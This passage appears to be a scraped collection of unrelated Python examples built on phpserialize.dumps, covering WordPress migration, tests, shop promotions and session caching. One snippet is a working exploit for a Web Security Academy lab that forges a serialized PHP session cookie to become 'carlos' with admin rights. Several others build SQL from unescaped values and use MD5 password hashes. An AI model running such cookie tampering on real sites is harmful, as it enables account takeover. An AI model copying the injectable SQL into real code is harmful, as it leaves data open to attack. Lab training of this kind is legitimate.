                            wp_categories_created.append(tterm)
                            term_translation_desc[translation.get(
                                'language')] = tterm.id

                        # create term_translations entity
                        term_translation_unique = uniqid('pll_')
                        term_translation = w.Term(taxonomy='term_translations',
                                                  name=term_translation_unique,
                                                  slug=term_translation_unique)
                        term_translation.description = phpserialize.dumps(
                            term_translation_desc)
                        w.session.add(term_translation)
                        w.session.commit()

                        for wp_createdCategory in wp_categories_created:
                            wp_createdCategory.terms.append(term_translation)
                            w.session.add(wp_createdCategory)

                        w.session.commit()

                        # append matching category
                        termTranslations = getTermTranslations()
                        wp_category = findTermTranslationByName(
                            lang_category.get('label'), termTranslations)

                        if wp_category != None:
                            wp_categories.append(wp_category)
                        else:
                            raise Exception(
                                f'unexpected behavoir on category: {lang_category}'
                            )
                else:
                    logging.error(f'{categoryId} not handled by tagDir?')
            return wp_categories
        return []
    except Exception as e:
        logging.error(e)
        raise e
        return []
session = requests.Session()

base_url = 'https://acfb1fd01ee8eede803b175700bc00e7.web-security-academy.net'

# login as wiener:peter
url = '%s/login' % base_url

print('logging in as wiener:peter')
request_response = session.post(url, data='username=wiener&password=peter')

if 'Hello, wiener!' not in request_response.text:
    exit('failed to login as wiener:peter')

# get and b64 decode cookie
session_cookie = urllib.parse.unquote(session.cookies.get('session'))
decoded_session_cookie = b64decode(session_cookie)

# unserialize php object from cookie to user_object
user_object = phpserialize.loads(decoded_session_cookie,
                                 object_hook=phpserialize.phpobject)

# change user_object stuff
user_object.__setattr__(b'username', 'carlos')
user_object.__setattr__(b'admin', 1)

# b64 encode back to serialized php object
carlos_session_cookie_value = b64encode(
    phpserialize.dumps(user_object)).decode('utf-8')

print('session cookie val for carlos: %s' % carlos_session_cookie_value)
Ejemplo n.º 30
0
 def encode(self, session_dict):
     return phpserialize.dumps(session_dict)
Ejemplo n.º 31
0
import timeit
import json
import phpserialize
import php2json
import ujson

d = {}
for i in range(400):
    d[str(i)] = {'1': 'foo', 'bar': '2', 'baz': None, 'boo': True}
data = phpserialize.dumps(d)

res1 = timeit.timeit('phpserialize.loads(data)', number=400, globals=locals())
res2 = timeit.timeit('ujson.loads(php2json.php2json(data))',
                     number=400,
                     globals=locals())
res3 = timeit.timeit('json.loads(php2json.php2json(data))',
                     number=400,
                     globals=locals())

print('phpserialize: {:.2f}s'.format(res1))
print('php2json+ujson: {:.2f}s'.format(res2))
print('php2json+json: {:.2f}s'.format(res3))
print('speedup (ujson): {}%'.format(int(res1 / res2 * 100)))
print('speedup (json): {}%'.format(int(res1 / res3 * 100)))
Ejemplo n.º 32
0
 def encode(self, value):
     return phpserialize.dumps(json.loads(value))
Ejemplo n.º 33
0
 def test_dumps_float(self):
     self.assertEqual(phpserialize.dumps(5.6), b'd:5.6;')
Ejemplo n.º 34
0
def main(args):
    args = build_arg_parser().parse_args(args)
    mysql_expose_port = 6603
    php_version = '7.1'
    container_name = args.container_name
    dump_file = args.dump_file
    mysql_user = args.mysql_user
    mysql_password = args.mysql_password
    mysql_database = args.mysql_database
    mysql_root_password = args.mysql_root_password
    wordpress_db_table_prefix = args.wordpress_db_table_prefix

    plugin_repo_path = args.plugin_repo_path

    wp_active_plugins = args.wp_active_plugins
    wp_known_user_password = args.wp_known_user_password
    wp_known_user_name = args.wp_known_user_name
    wp_known_user_email = args.wp_known_user_email

    print_version()

    if not perform_preflight_checks():
        return 1
    if not perform_input_validation(args):
        return 1

    relative_container_dir = join('registered_containers', container_name)
    container_dir = realpath(join(ROOT_PATH, relative_container_dir))

    create_folder_structure(container_dir, dump_file)

    tpl_args = {
        'mysql_database': mysql_database,
        'mysql_user': mysql_user,
        'mysql_password': mysql_password,
        'mysql_root_password': mysql_root_password,
        'wordpress_db_table_prefix': wordpress_db_table_prefix,
        'mysql_expose_port': mysql_expose_port
    }

    mysql_docker_container = '{0}_mysql'.format(container_name)
    wordpress_docker_container = '{0}_wordpress'.format(container_name)

    tpl = ' '.join(('--restart always', '--bind-address=*'))

    if plugin_repo_path:
        add_plugin_repo(plugin_repo_path, container_dir)

    maybe_start_docker_machine()

    docker_machine_ip = run('docker-machine ip').stdout.strip().decode('utf-8')
    print(docker_machine_ip)

    cli = create_docker_client()

    containers = cli.containers()
    print(containers)

    # run('docker rm -fv {0}'.format(mysql_docker_container))
    try:
        cli.remove_container(mysql_docker_container, force=True)
    except docker.errors.NotFound:
        pass

    mariadb_image = 'mariadb:latest'
    print('pulling {0}...'.format(mariadb_image))
    cli.pull(mariadb_image)
    print('done pulling {0}'.format(mariadb_image))

    mysql_docker_container_instance = cli.create_container(
        name=mysql_docker_container,
        detach=True,
        image=mariadb_image,
        ports=[3306],
        host_config=cli.create_host_config(
            port_bindings={3306: mysql_expose_port},
            binds=[
                "{0}/tmp/sql_scripts:/sql_scripts".format(container_dir),
                "{0}/tmp/dump:/dump".format(container_dir),
                "{0}/tmp/setup_scripts:/setup_scripts".format(container_dir),
            ]),
        environment={
            'MYSQL_ROOT_PASSWORD': mysql_root_password,
            'MYSQL_USER': mysql_user,
            'MYSQL_PASSWORD': mysql_password,
            'MYSQL_DATABASE': mysql_database
        })

    print(mysql_docker_container_instance)
    response = cli.start(container=mysql_docker_container_instance.get('Id'))
    print(response)

    mysql_init_process_done = wait_for_mysql_to_boot(mysql_docker_container,
                                                     cli)

    if not mysql_init_process_done:
        print('MySQL init process not done. Exiting')
        return 0
    print(
        'Done! Connect with `mysql -h {0} -P {1} -uwordpress -pwordpress wordpress`'
        .format(docker_machine_ip, mysql_expose_port))

    if isfile(realpath(dump_file)):
        cmd = ''.join([
            'docker run -it --link sensei_wp_instance:mysql --rm mariadb sh -c \'',
            'exec mysql -h"$MYSQL_PORT_3306_TCP_ADDR" -P"$MYSQL_PORT_3306_TCP_PORT" -uroot -p"$MYSQL_ENV_MYSQL_ROOT_PASSWORD" -e "CREATE DATABASE IF NOT EXISTS wordpress"\''
        ])
        run(cmd)

        cmd = ''.join([
            'docker run -it -v {0}/tmp/dump:/dump --link {1}:mysql --rm mariadb sh -c '
            '\'exec mysql -h"$MYSQL_PORT_3306_TCP_ADDR" -P"$MYSQL_PORT_3306_TCP_PORT" -uroot -p"$MYSQL_ENV_MYSQL_ROOT_PASSWORD" wordpress < /dump/seed.sql\''
            .format(container_dir, mysql_docker_container)
        ])
        run(cmd)

        cmd = ''.join([
            'docker run -it -v {0}/tmp/dump:/dump -v {0}/tmp/setup_scripts:/setup_scripts --link {1}:mysql --rm mariadb sh -c '
            '\'exec mysql -h"$MYSQL_PORT_3306_TCP_ADDR" -P"$MYSQL_PORT_3306_TCP_PORT" -uroot -p"$MYSQL_ENV_MYSQL_ROOT_PASSWORD" wordpress < /setup_scripts/add_known_admin.sql\''
            .format(container_dir, mysql_docker_container)
        ])
        run(cmd)

        mysql_engine = create_engine(
            'mysql+pymysql://{user}:{password}@{host}:{port}/{dbname}'.format(
                user=mysql_user,
                password=mysql_password,
                host=docker_machine_ip,
                dbname=mysql_database,
                port=mysql_expose_port))

        r = mysql_engine.execute('show tables')
        tables = []
        wordpress_db_table_prefix = 'wp_'

        for row in r.fetchall():
            if len(row) > 0:
                tablename = row[0]
                tables.append(tablename)

                if 'users' in tablename:
                    wordpress_db_table_prefix = tablename.split('users')[0]

        print('WordPress db prefix is %s' % wordpress_db_table_prefix)
        print('Adding Known admin user')

        import hashlib
        users_table = '{0}users'.format(wordpress_db_table_prefix)
        usermeta_table = '{0}usermeta'.format(wordpress_db_table_prefix)
        user_email = wp_known_user_email
        user_login = wp_known_user_name
        user_pass = wp_known_user_password.encode('utf8')

        sql = """\
    INSERT INTO `{users_table}`
        (`user_login`, `user_pass`, `user_nicename`,
         `user_email`, `user_url`, `user_registered`,
         `user_activation_key`, `user_status`, `display_name`)
    VALUES
        ('{user_login}', '{user_pass}', '{user_nicename}', '{user_email}',
         'http://www.test.com/', '2011-06-07 00:00:00', '', '0', '{user_nicename}');""".format(
            users_table=users_table,
            user_login=user_login,
            user_pass=hashlib.md5(user_pass).hexdigest(),
            user_email=user_email,
            user_nicename=user_login)
        print(sql)

        r = mysql_engine.execute(sql)

        r = mysql_engine.execute(
            "SELECT ID from {users_table} WHERE user_email='{user_email}' LIMIT 1"
            .format(users_table=users_table, user_email=user_email))
        user_id = None
        for row in r.fetchall():
            user_id = row[0]

        if user_id is None:
            print('No user inserted. Exiting')
            return 0

        print('User %s added' % user_id)

        meta = {
            '{0}capabilities'.format(wordpress_db_table_prefix):
            'a:1:{s:13:"administrator";s:1:"1";}',
            '{0}user_level'.format(wordpress_db_table_prefix): 10
        }

        for meta_key, meta_value in meta.items():
            sql = "INSERT INTO {usermeta_table} (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '{u_id}', '{meta_key}', '{meta_value}');".format(
                usermeta_table=usermeta_table,
                u_id=user_id,
                meta_key=meta_key,
                meta_value=meta_value)
            mysql_engine.execute(sql)
            print(sql)

        sql = "UPDATE {wordpress_db_table_prefix}options SET option_value = '' WHERE option_name = 'active_plugins';".format(
            wordpress_db_table_prefix=wordpress_db_table_prefix)
        mysql_engine.execute(sql)
        print(sql)

        sql = "SELECT option_value FROM {wordpress_db_table_prefix}options WHERE option_name = 'home' OR option_name = 'siteurl';".format(
            wordpress_db_table_prefix=wordpress_db_table_prefix)
        r = mysql_engine.execute(sql)
        guid = None
        for res in r:
            guid = res[0]
        if guid is None:
            print('guid is empty')
            return
        print(guid)
        # return 0

        sql = "UPDATE {wordpress_db_table_prefix}options SET option_value = 'http://{host}:{port}' WHERE option_name = 'home' OR option_name = 'siteurl'"\
            .format(host=docker_machine_ip, port='8080', wordpress_db_table_prefix=wordpress_db_table_prefix)
        mysql_engine.execute(sql)
        print(sql)

        # a:2:{i:0;s:43:"sensei-content-drip/sensei-content-drip.php";i:1;s:37:"woothemes-sensei/woothemes-sensei.php";}
        active_plugins_serialized = phpserialize.dumps(
            wp_active_plugins.split(',')).decode('utf-8')
        sql = "UPDATE {wordpress_db_table_prefix}options SET option_value = '{active_plugins_serialized}' WHERE option_name = 'active_plugins';"\
            .format(wordpress_db_table_prefix=wordpress_db_table_prefix, active_plugins_serialized=active_plugins_serialized)
        mysql_engine.execute(sql)
        print(sql)

        new_url = 'http://{0}:8080'.format(docker_machine_ip)

        sql = "UPDATE  {wordpress_db_table_prefix}posts SET guid = replace(guid, '{old_url}', '{new_url}');".format(
            wordpress_db_table_prefix=wordpress_db_table_prefix,
            new_url=new_url,
            old_url=guid)
        mysql_engine.execute(sql)
        print(sql)

        sql = "UPDATE {wordpress_db_table_prefix}posts SET post_content = replace(post_content, '{old_url}', '{new_url}');"\
            .format(wordpress_db_table_prefix=wordpress_db_table_prefix, new_url=new_url, old_url=guid)
        mysql_engine.execute(sql)
        print(sql)

        sql = "UPDATE {wordpress_db_table_prefix}options SET option_value = 'twentysixteen' WHERE option_name IN ('template', 'stylesheet')"\
            .format(host=docker_machine_ip, port='8080', wordpress_db_table_prefix=wordpress_db_table_prefix)
        mysql_engine.execute(sql)
        print(sql)

    run('docker rm -fv {0}'.format(wordpress_docker_container))

    tpl_args['wordpress_db_table_prefix'] = wordpress_db_table_prefix

    wordpress_docker_run_tpl = ' '.join((
        'docker run',
        '--name {0}'.format(wordpress_docker_container),
        '--link {0}:mysql'.format(mysql_docker_container),
        '--restart always',
        '-e "WORDPRESS_TABLE_PREFIX={wordpress_db_table_prefix}" -e "WORDPRESS_DB_USER={mysql_user}" -e "WORDPRESS_DB_PASSWORD={mysql_password}" -e "WORDPRESS_DB_NAME={mysql_database}" '\
            .format(**tpl_args),
        '-p 8080:80 '.format(mysql_expose_port),
        "-v {0}/content:/var/www/html/wp-content".format(container_dir),
        '-d wordpress:4.6.1-php7.0-apache'
    ))

    print(wordpress_docker_run_tpl)
    run(wordpress_docker_run_tpl, debug=True)

    for i in range(10):
        sleep(2)
        r = run('docker logs {0}'.format(wordpress_docker_container))
        print(r.stdout)

    print('Done! You can access the site at http://{0}:8080'.format(
        docker_machine_ip))
    print(
        'Done! Connect with `mysql -h {0} -P {1} -uwordpress -pwordpress wordpress` (wp prefix is `{2}`)'
        .format(docker_machine_ip, mysql_expose_port,
                wordpress_db_table_prefix))
    print('Attach to wp with `docker exec -i -t {0} /bin/bash`'.format(
        wordpress_docker_container))

    return 0
Ejemplo n.º 35
0
 def test_dumps_unicode(self):
     self.assertEqual(phpserialize.dumps('Björk Guðmundsdóttir'),
                      b's:23:"Bj\xc3\xb6rk Gu\xc3\xb0mundsd\xc3\xb3ttir";')
Ejemplo n.º 36
0
def dumps(obj):
    return phpserialize.dumps(
        all.traverse_and_encode(obj, None, CUSTOM_TRAVERSE))
Ejemplo n.º 37
0
 def test_dumps_dict(self):
     self.assertEqual(phpserialize.dumps({'a': 1, 'b': 2, 'c': 3}),
                      b'a:3:{s:1:"a";i:1;s:1:"c";i:3;s:1:"b";i:2;}')
Ejemplo n.º 38
0
def phpDumps(data):
    import phpserialize
    data = phpserialize.dumps(data)
    data = data.decode("utf-8", "ignore")
    return data
Ejemplo n.º 39
0
    def cpromotions(self, request):
        # 分类/产品限制
        is_restrict = request.POST.get('is_restrict')
        #促销条件
        conditions = request.POST.get('conditions')
        # 促销方式
        promotion_method = request.POST.get('promotion_method')

        brief = request.POST.get('brief')
        priority = request.POST.get('priority')
        # stop_further_rules = request.POST.get('stop_further_rules')#老后台页面仅获取页面传来的值,但没有数据操作
        celebrity_avoid = request.POST.get('celebrity_avoid')

        insert_restrict = 0
        insert_conditions = 0
        insert_actions = 0
        #分类/产品限制
        if is_restrict:
            restrictArr = {}
            restrictions = request.POST.get('restrictions')
            if restrictions == 'restrict_catalog':
                restrict = request.POST.get('restrict_catalog')
                restrict = restrict.split()
                if len(restrict) != 0:
                    insert_restrict = 1
                    restrictArr[restrictions] = restrict
            elif restrictions == 'restrict_product':
                restrict = request.POST.get('restrict_product')
                restrict = restrict.split()
                if len(restrict) != 0:
                    insert_restrict = 1
                    restrictArr[restrictions] = restrict
            restrictArr = phpserialize.dumps(restrictArr)
            if not insert_restrict:
                messages.error(request, u'分类/产品限制不能为空')
        else:
            insert_restrict = 1
            restrictArr = None

        #促销条件
        if conditions == 'sum':
            sums = request.POST.get('sum')
            if len(sums) != 0:
                insert_conditions = 1
                conditions = 'sum:' + sums
        elif conditions == 'quantity':
            quantitys = request.POST.get('quantity')
            if len(quantitys) != 0:
                insert_conditions = 1
                conditions = 'quantity:' + quantitys
        elif conditions == 'whatever':
            insert_conditions = 1
        else:
            messages.error(request, u'促销方式不能为空')
        #促销方式
        #打折
        if promotion_method == 'discount':
            # 打折类型
            discount_method = request.POST.get('discount_method')
            promotion_set = {}
            promotion_set['action'] = promotion_method
            if discount_method == 'rate':
                rate = request.POST.get('rate')
                if len(rate) != 0:
                    insert_actions = 1
                    promotion_set['details'] = 'rate:' + rate
            elif discount_method == 'reduce':
                reduce = request.POST.get('reduce')
                if len(reduce) != 0:
                    insert_actions = 1
                    promotion_set['details'] = 'reduce:' + reduce
            actions = phpserialize.dumps(promotion_set)
            if not insert_actions:
                # actions = None
                messages.error(request, u'打折内容不能为空')
        #赠品
        elif promotion_method == 'largess':
            promotion_set = {}
            promotion_set['action'] = promotion_method
            promotion_qty = {}
            sku = request.POST.get('larges_SKU')
            sku = sku.split()

            if sku:
                product = Product.objects.filter(sku=sku[0]).first()
                if product:
                    proarr = {}
                    proarr['SKU'] = sku
                    proarr['id'] = product.id
                    proarr['price'] = request.POST.get('largess_price')
                    proarr['max_quantity'] = request.POST.get(
                        'largess_quantity')
                    proarrs = {}
                    proarrs[0] = proarr
                    promotion_qty['largesses'] = proarrs
                    promotion_qty['max_sum_quantity'] = request.POST.get(
                        'largess_sum_quantity')
                    promotion_set['details'] = promotion_qty
                    insert_actions = 1
                    actions = phpserialize.dumps(promotion_set)
                else:
                    messages.error(request, u'sku不存在')
            else:
                messages.error(request, u"sku不存在")

        #免运费
        elif promotion_method == 'freeshipping':
            promotion_set = {}
            promotion_set['action'] = promotion_method
            insert_actions = 1
            actions = phpserialize.dumps(promotion_set)
        #第二件半价
        elif promotion_method == 'secondhalf':
            promotion_set = {}
            promotion_set['action'] = promotion_method
            insert_actions = 1
            actions = phpserialize.dumps(promotion_set)
        #捆绑销售
        elif promotion_method == 'bundle':
            bundle_1 = 0
            bundle_2 = 0
            promotion_set = {}
            promotion_set['action'] = promotion_method
            promotionarr = promotion_set
            if request.POST.has_key('bundleprice'):
                bundleprice = request.POST.get('bundleprice')
                if len(bundleprice) != 0:
                    promotion_set['bundleprice'] = 'amt:' + bundleprice
                    bundle_1 = 1
                    promotionarr = promotion_set
            if request.POST.has_key('bundlenum'):
                bundlenum = request.POST.get('bundlenum')
                if len(bundlenum) != 0:
                    promotion_set['bundlenum'] = 'sum:' + bundlenum
                    bundle_2 = 1
                    promotionarr = promotion_set
            actions = phpserialize.dumps(promotionarr)
            #价格和件数都存在时,才保存数据
            if bundle_1 and bundle_2:
                insert_actions = 1
            if not insert_actions:
                messages.error(request, u'捆绑销售不能为空')
        else:
            messages.error(request, u'促销条件不能为空')
        if insert_restrict:
            self.restrictions = restrictArr
        if insert_conditions:
            self.conditions = conditions
        else:
            messages.error(request, u'促销条件不能为空')
        self.brief = brief
        if insert_actions:
            self.actions = actions
        # self.is_active = 1
        # self.stop_further_rules = stop_further_rules
        self.priority = priority
        #红人过滤
        self.celebrity_avoid = celebrity_avoid
        self.save()
Ejemplo n.º 40
0
def syncForums(limit=1000,
               query=and_(a.ForumCategory.deleted == 0,
                          a.ForumCategory.language == 'de')):

    apitCategories = a.ForumCategory.q.filter(query).limit(limit).all()
    maxresults = len(apitCategories)

    pbar = tqdm(total=maxresults, desc='Forums', position=0, leave=True)

    for category in apitCategories:

        forum_log.set_description_str(f'📚  Forum: {category.name[:40]}...')
        forum = w.ForoForum.q.filter(
            w.ForoForum.forumid == category.id).first()
        if forum == None:
            forum = w.ForoForum()

        parentid = category.parentCategory_id
        if parentid == None:
            parentid = 0

        permissions = phpserialize.dumps(
            ['full', 'moderator', 'standard', 'read_only', 'standard'])

        permissions = 'a:5:{i:0;s:4:"full";i:1;s:9:"moderator";i:2;s:8:"standard";i:3;s:9:"read_only";i:4;s:8:"standard";}'

        is_cat = 0

        if category.parentCategory_id == None:
            is_cat = 1

        forum.forumid = category.id
        forum.title = category.name
        forum.slug = category.transcription_transcription
        forum.description = category.description
        forum.parentid = parentid
        forum.status = 0
        forum.order = 0  # category.pos
        forum.last_topicid = 0
        forum.last_postid = 0
        forum.last_userid = 0
        # forum.last_post_date = datetime.utcnow
        forum.permissions = permissions
        forum.is_cat = is_cat

        w.session.add(forum)
        w.session.commit()

        # handle subscriptions
        for subscription in category.subscriptions:
            logging.info(f'handle forum subscription  {subscription.user_id}')
            wp_subscription_user = handleUser(subscription.user_id)
            wp_subscription = w.ForoSubscribe.q.filter(
                w.ForoSubscribe.userid == wp_subscription_user.ID,
                w.ForoSubscribe.itemid == forum.forumid,
                w.ForoSubscribe.type == 'forum').first()
            if wp_subscription == None:
                wp_subscription = w.ForoSubscribe()

            wp_subscription.itemid = forum.forumid
            wp_subscription.userid = wp_subscription_user.ID
            wp_subscription.active = 0
            wp_subscription.confirmkey = ''.join(
                random.choices(string.ascii_lowercase + string.digits, k=32))
            wp_subscription.type = 'forum'

            w.session.add(wp_subscription)

        w.session.commit()

        for progress in category.progresses:
            logging.info(f'handle visits')
            wp_progress_user = handleUser(progress.user_id)
            wp_progress = w.ForoVisit.q.filter(
                w.ForoVisit.userid == wp_progress_user.ID,
                w.ForoVisit.forumid == progress.category_id,
                w.ForoVisit.topicid == progress.lastPost.id).first()
            if wp_progress == None:
                wp_progress = w.ForoVisit()

            wp_progress.userid = wp_progress_user.ID
            wp_progress.forumid = progress.category_id
            wp_progress.topicid = progress.lastPost.id
            wp_progress.time = int(progress.lastCategoryReadDate.timestamp())
            wp_progress.name = wp_progress_user.display_name
            w.session.add(wp_progress)

        w.session.commit()

        syncThreads(limit=10000,
                    chunksize=500,
                    query=and_(a.ForumThread.language == 'de',
                               a.ForumThread.category_id == category.id))

        pbar.update(1)

    logging.info('starting syncin forums')
Ejemplo n.º 41
0
    def test_encode(self, val):
        formatter_input = json.dumps(val, ensure_ascii=False)
        expected_output = phpserialize.dumps(val)

        output = self.formatter.encode(formatter_input)
        self.assertEqual(output, expected_output)
Ejemplo n.º 42
0
 def test_dumps_dict(self):
     self.assertEqual(
         phpserialize.dumps(OrderedDict([('a', 1), ('b', 2), ('c', 3)])),
         b'a:3:{s:1:"a";i:1;s:1:"b";i:2;s:1:"c";i:3;}')
Ejemplo n.º 43
0
def makesession(charid):

    import common.logger as _logger
    import common.request_esi
    import common.credentials.core as _core
    import common.esihelpers as _esihelpers
    import common.database as _database

    import base64
    import urllib.parse
    import phpserialize
    import MySQLdb as mysql
    import json
    import uuid
    import os
    import hmac
    import hashlib
    import time
    import redis

    from Crypto import Random
    from Crypto.Cipher import AES

    key = _core.key

    # construct the user's session. this is how you auth to core.
    # we're mimicing laravel structure exactly. it is finikiy.
    payload = dict()

    # actually useful data
    payload['charID'] = charid
    payload['csrf_token'] = uuid.uuid4().hex
    payload['_previous'] = dict()
    payload['_previous']['url'] = 'https://auth.triumvirate.rocks/eve/callback'
    payload['ip_address'] = ''
    payload['user_agent'] = ''

    # i have literally no idea what purpose this serves.

    payload['_flash'] = dict()
    payload['_flash']['new'] = ''
    payload['_flash']['old'] = ''

    # see: vendor/symfony/http-foundation/Session/Storage/MetadataBag.php
    # for why the _sf2_meta shit is here
    # c: create, u: updated, l: lifetime
    payload['_sf2_meta'] = dict()
    payload['_sf2_meta']['u'] = time.time()
    payload['_sf2_meta']['l'] = 0
    payload['_sf2_meta']['c'] = time.time()

    # first, get the user data.

    affiliations = _esihelpers.esi_affiliations(charid)

    charname = affiliations.get('charname')
    payload['charName'] = charname
    payload['corpID'] = affiliations.get('corpid')
    payload['corpName'] = affiliations.get('corpname')
    payload['allianceID'] = affiliations.get('allianceid')
    payload['allianceName'] = affiliations.get('alliancename')

    # the scope controls whether you are tri or a tri blue
    # this in turn controls various access levels

    # this is legacy code for laravel - python services determine access in different ways.

    if payload['allianceID'] == 933731581:
        # "tri alliance only" scope
        payload['scope'] = 2
    else:
        payload['scope'] = 1

    payload = phpserialize.dumps(payload)
    payload = base64.b64encode(payload)

    # AES requires inputs to be multiples of 16
    #
    # laravel seems exceedingly picky with the session id size and padding
    # so we're going to mimic it exactly

    sessionid = uuid.uuid4().hex + uuid.uuid4().hex
    sessionid = sessionid[:40]

    # feed the session data into the session table
    # mysql is just to make laravel happy

    try:
        sql_conn = mysql.connect(database=_database.DB_DATABASE,
                                 user=_database.DB_USERNAME,
                                 password=_database.DB_PASSWORD,
                                 host=_database.DB_HOST)
    except mysql.Error as err:
        _logger.log('[' + __name__ + '] mysql error: ' + str(err),
                    _logger.LogLevel.ERROR)
        return False
    cursor = sql_conn.cursor()
    now = time.time()

    # make sure this is the only session. i would adjust table schema but that'd probably
    # break laravel
    # purge null sessions too
    try:
        query = 'DELETE FROM sessions WHERE charID = %s'
        cursor.execute(
            query,
            (charid, ),
        )
    except mysql.Error as err:
        _logger.log('[' + __name__ + '] mysql error: ' + str(err),
                    _logger.LogLevel.ERROR)
        return False
    try:
        query = 'INSERT INTO sessions (id, charID, charName, payload, last_activity) VALUES(%s, %s, %s, %s, %s)'
        cursor.execute(
            query,
            (
                sessionid,
                charid,
                charname,
                payload,
                now,
            ),
        )
    except mysql.Error as err:
        _logger.log('[' + __name__ + '] mysql error: ' + str(err),
                    _logger.LogLevel.ERROR)
        return False
    finally:
        cursor.close()
        sql_conn.commit()
        sql_conn.close()

    # store the session id + payload into redis

    r = redis.StrictRedis(host='localhost', port=6379, db=0)
    try:
        r.client_list()
    except redis.exceptions.ConnectionError as err:
        _logger.log('[' + __name__ + '] Redis connection error: ' + str(err),
                    _logger.LogLevel.ERROR)
    except redis.exceptions.ConnectionRefusedError as err:
        _logger.log('[' + __name__ + '] Redis connection error: ' + str(err),
                    _logger.LogLevel.ERROR)
    except Exception as err:
        logger.error('[' + __name__ + '] Redis generic error: ' + str(err))

    try:
        # store the session in redis and set it to timeout in a week
        r.set(sessionid, payload)
        expires = 86400 * 7  # 1 week
        r.expire(sessionid, expires)
    except Exception as err:
        _logger.log('[' + __name__ + '] Redis error: ' + str(err),
                    _logger.LogLevel.ERROR)

    # construct the encrypted cookie contents, which consists of three things:
    # the initialization vector for AES, a sha256 hash, and the AES encrypted session id

    key = base64.b64decode(key)
    iv = uuid.uuid4(
    ).hex[:16]  # need a 16 digit initial value for the encryption
    iv = iv.encode('utf-8')

    # structure the php serialized thing in a way that laravel likes
    # don't rock the boat

    sessionid = 's:40:"' + str(
        sessionid
    ) + '";\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
    sessionid = sessionid.encode('utf-8')

    _logger.log(
        '[' + __name__ +
        '] key length: {0}, iv length: {1}, sessionid length: {2}'.format(
            len(key), len(iv), len(sessionid)), _logger.LogLevel.DEBUG)

    # the madness as demanded by laravel
    # see: vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php

    try:
        value = AES.new(key, AES.MODE_CBC, iv).encrypt(sessionid)
    except Exception as error:
        # how this can happen with fixed lengths i'm unclear...
        _logger.log('[' + __name__ + '] AES error: ' + str(error),
                    _logger.LogLevel.ERROR)
        return False

    value = base64.b64encode(value)
    iv = base64.b64encode(iv)

    hash = hmac.new(key, msg=iv + value, digestmod=hashlib.sha256)

    cookie = dict()
    cookie['mac'] = hash.hexdigest()
    cookie['iv'] = iv.decode('utf-8')
    cookie['value'] = value.decode('utf-8')

    cookie = json.dumps(cookie)
    cookie = base64.b64encode(cookie.encode('utf-8'))
    cookie = cookie.decode('utf-8')

    return cookie
Ejemplo n.º 44
0
 def test_dumps_and_loads_dict(self):
     payload = {'a': 1, 'b': 2, 'c': 3}
     self.assertEqual(
         phpserialize.loads(phpserialize.dumps(payload),
                            decode_strings=True), payload)
Ejemplo n.º 45
0
def add_spromotion_memcache_data(request):
    context = {}
    if request.POST.get('type') == 'sku_memcache_add':
        print '------'
        print 111
        skus = request.POST.get('skus', '').strip().split('\r\n')
        print skus
        if skus[0]:
            ids = Product.objects.filter(sku__in=skus, deleted=0).values_list('id')
            expired_time = int(time.time())
            for i in ids:
                spromotions = Spromotions.objects.filter(expired__gte=expired_time, product_id=i[0]). \
                    values('id', 'product_id', 'price', 'type', 'created', 'expired')

                for obj in spromotions:
                    if int(obj['price']) > 0:
                        cache_one = {}
                        cache_one['price'] = obj['price']
                        cache_one['created'] = time.mktime(obj['created'].timetuple())
                        cache_one['expired'] = time.mktime(obj['expired'].timetuple())

                        cache_key = 'spromotion_' + str(i[0])
                        cache = memcache.Client([settings.MEMCACHE_URL])
                        cache_data = {}
                        cache_data[obj['type']] = cache_one
                        cache_data = phpserialize.dumps(cache_data)
                        print cache.set(cache_key, cache_data)
                messages.success(request, u'缓存设置成功')

        else:
            messages.error(request, u'sku不能为空')

    elif request.POST.get('type') == 'do_promotion_insert':
        msg = ''
        reader = csv.reader(StringIO.StringIO(request.FILES['file'].read()))
        header = next(reader)
        std_header = [
            "SKU","Price","Catalog","Expired Time","Type"
        ]
        field_header = [
            "sku", 'price', 'catalog',"expired", "type"
        ]

        # 由于bom头的问题, 就不比较第一列的header了
        if header[1:] != std_header[1:]:
            messages.error(request, u"请使用正确的模板, 并另存为utf-8格式")
            return redirect('handle')

        types = {}
        types['vip'] = 0
        types['daily'] = 1
        types['cost']= 2
        types['outlet'] = 3
        types['special'] = 4
        types['activity'] = 5
        types['flash_sale'] = 6
        types['top_seller'] = 7
        types['bomb'] = -1

        for i, row in enumerate(reader, 2):
            res = dict(zip(field_header, row))

            order_dict = {}
            pro_id = Product.objects.filter(sku=res['sku']).values('id','price')
            order_dict['product_id'] = int(pro_id[0]['id'])
            order_dict['price'] = res['price']
            if(float(pro_id[0]['price']) < float(order_dict['price'])):
                pass
            else:
                order_dict['catalog'] = ''
                order_dict['price'] = float(res['price'])
                times = time_stamp6(res['expired'])
                order_dict['expired'] = times
                res['type'] = res['type'].lower()
                if res['type'] in types.keys():
                    order_dict['type'] = types[res['type']] or 1

                order_dict['admin'] = int(request.user.id)
                if order_dict['type'] == 0:
                    has = Spromotions.objects.filter(type=0,product_id=order_dict['product_id']).first()
                else:
                    has = Spromotions.objects.filter(product_id=order_dict['product_id']).exclude(type=0).first()

                if not has:
                    c = Spromotions.objects.create(price=order_dict['price'],
                                          type=order_dict['type'],
                                          # expired=order_dict['expired'],
                                          admin_id=order_dict['admin'],
                                          product_id=order_dict['product_id']
                                         )
                    if c:
                        sql = "UPDATE carts_spromotions SET expired="+str(order_dict['expired'])+" WHERE id="+str(c.id)
                        cursor = connection.cursor()
                        cursor.execute(sql)

                    cache_key ='spromotion_' + str(order_dict['product_id'])
                    cache= memcache.Client([settings.MEMCACHE_URL])
                    cache_data = {}
                    cache_data[order_dict['type']] = order_dict
                    cache_data =  phpserialize.dumps(cache_data)
                    print cache.set(cache_key,cache_data)
                else:
                    promo = Spromotions.objects.get(product_id=order_dict['product_id'])
                    promo.price=order_dict['price']
                    promo.type=order_dict['type']
                    # promo.expired=order_dict['expired']
                    promo.admin_id=order_dict['admin']
                    promo.product_id=order_dict['product_id']
                    c = promo.save()
                    if promo:
                        sql = "UPDATE carts_spromotions SET expired="+str(order_dict['expired'])+" WHERE id="+str(promo.id)
                        cursor = connection.cursor()
                        cursor.execute(sql)

                    cache_key ='spromotion_' + str(order_dict['product_id'])
                    cache= memcache.Client([settings.MEMCACHE_URL])
                    cache_data = {}
                    cache_data[order_dict['type']] = order_dict
                    cache_data =  phpserialize.dumps(cache_data)
                    print cache.set(cache_key,cache_data)
